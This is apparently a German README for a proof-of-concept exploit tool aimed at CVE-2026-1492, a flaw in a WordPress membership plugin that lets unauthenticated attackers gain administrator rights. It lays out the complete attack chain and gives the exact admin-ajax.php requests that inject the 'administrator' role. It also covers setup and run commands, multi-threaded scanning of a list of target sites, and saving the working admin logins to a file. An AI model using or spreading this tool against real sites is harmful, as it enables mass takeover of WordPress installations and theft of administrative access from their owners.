
User Registration & Membership <= 5.1.2 - Nicht authentifizierte Privilegienerweiterung über die Mitgliedschaftsregistrierung
User Registration & Membership <= 5.1.2 - Nicht authentifizierte Privilegieneskalation über die Mitgliedschaftsregistrierung
| Feld | Details |
|---|---|
| CVE-ID | CVE-2026-1492 |
| Schweregrad | CRITICAL — CVSS v3.1-Score: 9.8 |
| Vektor | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CNA | Wordfence |
| Betroffene Software | User Registration & Membership — Custom Registration Form Builder, Custom Login Form, User Profile, Content Restriction & Membership Plugin for WordPress |
| Betroffene Versionen | Alle Versionen bis einschließlich 5.1.2 |
| Schwachstellentyp | Unsachgemäßes Berechtigungsmanagement — Erstellung von Administrator-Konten ohne Authentifizierung |
| Erforderliche Authentifizierung | Keine |
| CWE | CWE-269: Improper Privilege Management |
Beschreibung:
Das User Registration & Membership-Plugin für WordPress ist in allen Versionen bis einschließlich 5.1.2 anfällig für nicht authentifizierte Privilegieneskalation. Die Schwachstelle geht darauf zurück, dass der AJAX-Handler user_registration_membership_register_member während des Mitgliedschafts-Registrierungsprozesses einen vom Benutzer übermittelten role-Wert akzeptiert, ohne eine serverseitige Allowlist- oder Berechtigungsprüfung durchzusetzen. Ein vollständig nicht authentifizierter Remote-Angreifer kann eine mehrstufige AJAX-Anfragekette konstruieren — zuerst ein neues Benutzerkonto registrieren und dann einen bösartigen register_member-Aufruf mit "role": "administrator" in der members_data-JSON-Nutzlast übermitteln —, um stillschweigend ein vollwertiges WordPress-Administrator-Konto zu erstellen. Dies führt zur vollständigen Kompromittierung der betroffenen WordPress-Installation, ohne dass eine Benutzerinteraktion erforderlich ist.
Dies ist ein Proof-of-Concept-Exploit-Skript (PoC), das eine vollständige zustandsbasierte Angriffskette gegen WordPress-Seiten implementiert, auf denen eine verwundbare Version des User Registration & Membership-Plugins läuft. Das Tool führt eine intelligente mehrstufige Exploitation mit automatischer Erkennung, Plan-Extraktion, Nonce-Sammlung, Zwei-Fluss-Registrierung, Rollen-Injektion und Admin-Verifikation durch.
[Discovery Phase]
GET /membership-pricing/ → Extract membership plan IDs
GET /registration/ → Extract form fields, nonces, AJAX params
↓
[Registration Phase — Flow A]
POST /wp-admin/admin-ajax.php
action=user_registration_user_form_submit
→ Register new user account
↓
[Role Injection Phase — Flow A]
POST /wp-admin/admin-ajax.php
action=user_registration_membership_register_member
members_data={"role":"administrator", "membership":"<id>", ...}
→ Inject administrator role into newly created account
↓
[Admin Verification Phase]
GET /wp-admin/ → Check for admin dashboard indicators
GET /wp-admin/plugin-install.php → Confirm plugin-install access
↓
[Fallback Override — Flow B]
If Flow A admin check fails → repeat with fresh username/email
↓
[Write to Nx_admin.txt]
Format: https://target.com/wp-login.php user:<u> pass:<p>
pip install requests urllib3 rich
Oder über eine Requirements-Datei:
pip install -r requirements.txt
requirements.txt:
requests>=2.28.0
urllib3>=1.26.0
rich>=13.0.0
# Clone the repository
git clone https://github.com/Nxploited/CVE-2026-1492.git
cd CVE-2026-1492
# Install dependencies
pip install -r requirements.txt
# Run the tool
python3 CVE-2026-1492.py
python3 CVE-2026-1492.py
Das Tool verwendet eine vollständig interaktive Terminaloberfläche auf Basis von Rich. Alle Parameter werden zur Laufzeit abgefragt.
Erstellen Sie eine einfache Textdatei (Standard: list.txt) mit einem Ziel pro Zeile:
https://target1.com
https://target2.com
http://target3.com/wordpress
Targets file [list.txt]: list.txt
Credentials:
- Username prefix: random number is added per site (fresh user per target/plan/flow)
- Email: if left empty, it will be built from the username automatically
- Password: fixed for all sites
Username prefix (optional): Nxploited
Email (optional):
Password [Nx_12999]: Nx_12999
Threads [3]: 5
HTTP timeout (seconds) [10]: 10
Das Tool erkennt und analysiert automatisch:
| Ziel | Was extrahiert wird |
|---|---|
/membership-pricing/ | Mitgliedschaftsplan-IDs, Links zur Registrierungsseite |
/registration/ | Formularfelder, Nonces, AJAX-URLs, Radio-Inputs für Mitgliedschaften |
user_registration_params-JS-Objekt | ajax_url, security-Nonce, Formular-Metadaten |
ur_membership_frontend_localized_data | Mitgliedschaftsspezifische Nonce, AJAX-Endpunkt |
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
action=user_registration_user_form_submit
&form_data=[{"field_name":"user_login","value":"Nxploited_A_482910",...}]
&form_id=1
&ur_frontend_form_nonce=<extracted_nonce>
&security=<extracted_security>
&is_membership_active=<membership_id>
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
action=user_registration_membership_register_member
&members_data={"membership":"<id>","payment_method":"free","role":"administrator","username":"Nxploited_A_482910",...}
&form_response={...}
&_wpnonce=<membership_nonce>
&security=<membership_nonce>
⚠️ Der Server akzeptiert das
role-Feld vom Client ohne jede Allowlist-Prüfung — dies ist die Grundursache von CVE-2026-1492.
Das Tool öffnet eine neue Sitzung, meldet sich mit den neu erstellten Anmeldedaten an und testet Folgendes:
| Endpunkt | Geprüfter Indikator |
|---|---|
/wp-admin/ | adminmenu, wp-admin-bar, manage_options |
/wp-admin/users.php | users.php |
/wp-admin/plugin-install.php | upload-plugin, plugin-install-tab |